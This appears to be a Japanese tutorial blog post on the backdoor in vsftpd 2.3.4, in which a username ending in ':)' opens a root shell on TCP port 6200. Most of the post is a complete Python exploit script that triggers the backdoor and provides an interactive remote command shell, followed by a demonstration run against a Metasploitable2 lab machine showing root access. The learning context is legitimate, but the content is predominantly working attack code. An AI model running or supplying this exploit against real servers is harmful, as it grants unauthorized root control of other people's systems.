本記事では、リモートからコマンドを実行することが可能となるvsftpd 2.3.4の脆弱性について学んでいきます。
概要
VSFTPDとはVery Secure FTP Daemonの略で、主にLinuxなどでオープンソースで利用されているFTPサーバソフトウェアです。
2011年にリリースされたバージョン2.3.4では、ユーザ名に特定の文字列「:)」が末尾に付与されていた際にTCP 6200番ポートがオープンし、そのポートを利用してリモートからroot権限で任意のコードを実行することができるバックドアコードが含まれていました。
スクリプトの作成
# exploit_vsftpd.py import socket import sys def handle_error(sock): print('[-] Could not connect to server.') sock.close() sys.exit(1) def handle_backdoor(sock): print('[*] Backdoor has opened.\n') sock.settimeout(3) while True: cmd = input('> ') if cmd == 'exit': sock.send(cmd.encode('utf-8')+b'\n') break sock.send(cmd.encode('utf-8')+b'\n') try: res = sock.recv(2048) while True: print(res.decode('utf-8').rstrip()) if len(res) > 2048: res = sock.recv(2048) continue break except socket.timeout: continue sock.close() print('[*] Connection has closed.') if not len(sys.argv) == 2: print('Usage: {}'.format(sys.argv[0])) sys.exit(1) server_ip = sys.argv[1] try: print('[*] Connecting to server...') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) if sock.connect_ex((server_ip, 6200)): sock.close() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if sock.connect_ex((server_ip, 21)): handle_error(sock) banner = sock.recv(1024) if not b'220' in banner: handle_error() print('[*] Banner: {}'.format(banner.decode('utf-8').rstrip())) sock.send(b'USER foo:)\r\n') res = sock.recv(1024) # print(res.decode('utf-8')) sock.send(b'PASS bar\r\n') sock.close() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if sock.connect_ex((server_ip, 6200)): handle_error(sock) sock.send(b'id\n') res = sock.recv(1024) print('[*] ID: {}'.format(res.decode('utf-8').rstrip())) handle_backdoor(sock) else: print('[*] Port 6200 has already opened.') try: sock.send(b'id\n') res = sock.recv(1024) print('[*] ID: {}'.format(res.decode('utf-8').rstrip())) handle_backdoor(sock) except socket.timeout: print('[-] Backdoor has been used already.') sys.exit(1) except ConnectionRefusedError: handle_error(sock)
動作確認
それでは、上記で作成したスクリプトを実行してみます。
FTPサーバとしては、Metasploitable2にデフォルトでインストールされているvsftpdを利用します。
> python exploit_vsftpd.py 192.168.0.1 [*] Connecting to server... [*] Banner: 220 (vsFTPd 2.3.4) [*] ID: uid=0(root) gid=0(root) [*] Backdoor has opened. > whoami root > uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux > exit [*] Connection has closed.
問題なくリモートからコマンドを実行することができました。
予期せぬところで脆弱性が生まれる一方で、よくこのような脆弱性があることを見つけたなと思いました。